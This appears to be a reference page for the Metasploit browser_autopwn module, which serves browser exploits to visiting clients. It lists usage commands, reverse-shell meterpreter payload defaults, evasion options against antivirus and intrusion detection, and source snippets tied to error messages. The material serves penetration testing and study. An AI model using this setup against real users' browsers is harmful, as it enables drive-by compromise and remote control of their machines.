HTTP Client Automatic Exploiter - Metasploit


This page contains detailed information about how to use the auxiliary/server/browser_autopwn metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: HTTP Client Automatic Exploiter
Module: auxiliary/server/browser_autopwn
Source code: modules/auxiliary/server/browser_autopwn.rb
Disclosure date: -
Last modification time: 2020-06-11 13:09:25 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module has three actions. The first (and the default) is 'WebServer' which uses a combination of client-side and server-side techniques to fingerprint HTTP clients and then automatically exploit them. Next is 'DefangedDetection' which does only the fingerprinting part. Lastly, 'list' simply prints the names of all exploit modules that would be used by the WebServer action given the current MATCH and EXCLUDE options. Also adds a 'list' command which is the same as running with ACTION=list.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > exploit

Required Options

  • LHOST: The IP address to use for reverse-connect payloads

Go back to menu.

Msfconsole Usage

Here is how the server/browser_autopwn auxiliary module looks in the msfconsole:

msf6 > use auxiliary/server/browser_autopwn

msf6 auxiliary(server/browser_autopwn) > show info

       Name: HTTP Client Automatic Exploiter
     Module: auxiliary/server/browser_autopwn
    License: BSD License
       Rank: Normal

Provided by:
  egypt <[email protected]>

Available actions:
  Name               Description
  ----               -----------
  DefangedDetection  Only perform detection, send no exploits
  WebServer          Start a bunch of modules and direct clients to appropriate exploits
  list               List the exploit modules that would be started

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  LHOST                     yes       The IP address to use for reverse-connect payloads
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)

Description:
  This module has three actions. The first (and the default) is 
  'WebServer' which uses a combination of client-side and server-side 
  techniques to fingerprint HTTP clients and then automatically 
  exploit them. Next is 'DefangedDetection' which does only the 
  fingerprinting part. Lastly, 'list' simply prints the names of all 
  exploit modules that would be used by the WebServer action given the 
  current MATCH and EXCLUDE options. Also adds a 'list' command which 
  is the same as running with ACTION=list.

Module Options

This is a complete list of options available in the server/browser_autopwn auxiliary module:

msf6 auxiliary(server/browser_autopwn) > show options

Module options (auxiliary/server/browser_autopwn):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   LHOST                     yes       The IP address to use for reverse-connect payloads
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Auxiliary action:

   Name       Description
   ----       -----------
   WebServer  Start a bunch of modules and direct clients to appropriate exploits

Advanced Options

Here is a complete list of advanced options supported by the server/browser_autopwn auxiliary module:

msf6 auxiliary(server/browser_autopwn) > show advanced

Module advanced options (auxiliary/server/browser_autopwn):

   Name             Current Setting                  Required  Description
   ----             ---------------                  --------  -----------
   AutoRunScript                                     no        A script to automatically on session creation.
   AutoSystemInfo   true                             yes       Automatically capture system information on initialization.
   DEBUG_AUTOPWN    false                            no        Do not obfuscate the javascript and print various bits of useful info to the browser
   EXCLUDE                                           no        Only attempt to use exploits whose name DOES NOT match this regex
   LPORT_ANDROID    8888                             no        The port to use for Java reverse-connect payloads
   LPORT_GENERIC    6666                             no        The port to use for generic reverse-connect payloads
   LPORT_JAVA       7777                             no        The port to use for Java reverse-connect payloads
   LPORT_LINUX      4444                             no        The port to use for Linux reverse-connect payloads
   LPORT_MACOS      5555                             no        The port to use for Mac reverse-connect payloads
   LPORT_WIN32      3333                             no        The port to use for Windows reverse-connect payloads
   ListenerComm                                      no        The specific communication channel to use for this service
   MATCH                                             no        Only attempt to use exploits whose name matches this regex
   PAYLOAD_ANDROID  android/meterpreter/reverse_tcp  no        The payload to use for Android reverse-connect payloads
   PAYLOAD_GENERIC  generic/shell_reverse_tcp        no        The payload to use for generic reverse-connect payloads
   PAYLOAD_JAVA     java/meterpreter/reverse_tcp     no        The payload to use for Java reverse-connect payloads
   PAYLOAD_LINUX    linux/meterpreter/reverse_tcp    no        The payload to use for Linux reverse-connect payloads
   PAYLOAD_MACOS    osx/meterpreter/reverse_tcp      no        The payload to use for Mac reverse-connect payloads
   PAYLOAD_WIN32    windows/meterpreter/reverse_tcp  no        The payload to use for Windows reverse-connect payloads
   SSLCipher                                         no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression   false                            no        Enable SSL/TLS-level compression
   SendRobots       false                            no        Return a robots.txt file if asked for one
   URIHOST                                           no        Host to use in URI (useful for tunnels)
   URIPORT                                           no        Port to use in URI (useful for tunnels)
   VERBOSE          false                            no        Enable detailed status messages
   WORKSPACE                                         no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the server/browser_autopwn module can do:

msf6 auxiliary(server/browser_autopwn) > show actions

Auxiliary actions:

   Name               Description
   ----               -----------
   DefangedDetection  Only perform detection, send no exploits
   WebServer          Start a bunch of modules and direct clients to appropriate exploits
   list               List the exploit modules that would be started

Evasion Options

Here is the full list of possible evasion options supported by the server/browser_autopwn auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(server/browser_autopwn) > show evasion

Module evasion options:

   Name                      Current Setting  Required  Description
   ----                      ---------------  --------  -----------
   HTML::base64              none             no        Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
   HTML::javascript::escape  0                no        Enable HTML obfuscation via HTML escaping (number of iterations)
   HTML::unicode             none             no        Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
   HTTP::chunked             false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression         none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding      false            no        Enable folding of HTTP headers
   HTTP::junk_headers        false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache            false            no        Disallow the browser to cache HTTP content
   HTTP::server_name         Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size        0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay           0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No exploits, check your MATCH and EXCLUDE settings

Here is a relevant code snippet related to the "No exploits, check your MATCH and EXCLUDE settings" error message:

163:	      # actual exploit modules
164:	      exploit()
165:	    else
166:	      start_exploit_modules()
167:	      if @exploits.length < 1
168:	        print_error("No exploits, check your MATCH and EXCLUDE settings")
169:	        return false
170:	      end
171:	      exploit()
172:	    end
173:	  end

NOTE: Debug Mode; javascript will not be obfuscated

Here is a relevant code snippet related to the "NOTE: Debug Mode; javascript will not be obfuscated" error message:

229:	      } // function bodyOnLoad
230:	    ENDJS
231:	    )
232:	
233:	    if (datastore['DEBUG_AUTOPWN'])
234:	      print_status("NOTE: Debug Mode; javascript will not be obfuscated")
235:	    else
236:	      pre = Time.now
237:	
238:	      #
239:	      # 2/12/2015: Obfuscation is disabled because this is currently breaking BrowserAutoPwn

MinimumRank invalid! Possible values are (<VALUE>.join(

Here is a relevant code snippet related to the "MinimumRank invalid! Possible values are (<VALUE>.join(" error message:

278:	    @android_lport = datastore['LPORT_ANDROID']
279:	    @android_payload = datastore['PAYLOAD_ANDROID']
280:	
281:	    minrank = framework.datastore['MinimumRank'] || 'manual'
282:	    if not RankingName.values.include?(minrank)
283:	      print_error("MinimumRank invalid!  Possible values are (#{RankingName.sort.map{|r|r[1]}.join("|")})")
284:	      wlog("MinimumRank invalid, ignoring", 'core', LEV_0)
285:	    end
286:	    @minrank = RankingName.invert[minrank]
287:	
288:	  end

Failed to start exploit module <NAME>

Here is a relevant code snippet related to the "Failed to start exploit module <NAME>" error message:

378:	    Rex::ThreadSafe.sleep(0.5)
379:	
380:	    # Make sure this exploit got set up correctly, return false if it
381:	    # didn't
382:	    if framework.jobs[@exploits[name].job_id.to_s].nil?
383:	      print_error("Failed to start exploit module #{name}")
384:	      @exploits.delete(name)
385:	      return false
386:	    end
387:	
388:	    # Since r9714 or so, exploit_simple copies the module instead of

Reporting failed

Here is a relevant code snippet related to the "Reporting failed" error message:

982:	            }
983:	            report_client(client_info)
984:	          rescue ::Interrupt
985:	            raise $!
986:	          rescue ::Exception => e
987:	            elog('Reporting failed', error: e)
988:	          end
989:	        end
990:	      end
991:	    end
992:

Don't have an exploit by that name, returning 404<NAME>.html

Here is a relevant code snippet related to the "Don't have an exploit by that name, returning 404<NAME>.html" error message:

1046:	  def exploit_resource(name)
1047:	    if (@exploits[name] && @exploits[name].respond_to?("get_resource"))
1048:	      #print_line("Returning #{@exploits[name].get_resource.inspect}, for #{name}")
1049:	      return @exploits[name].get_resource
1050:	    else
1051:	      print_error("Don't have an exploit by that name, returning 404#{name}.html")
1052:	      return "404#{name}.html"
1053:	    end
1054:	  end
1055:	
1056:	  def js_debug(msg)

Go back to menu.

Go back to menu.

See Also

Check also the following modules related to this module:

Authors

  • egypt

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.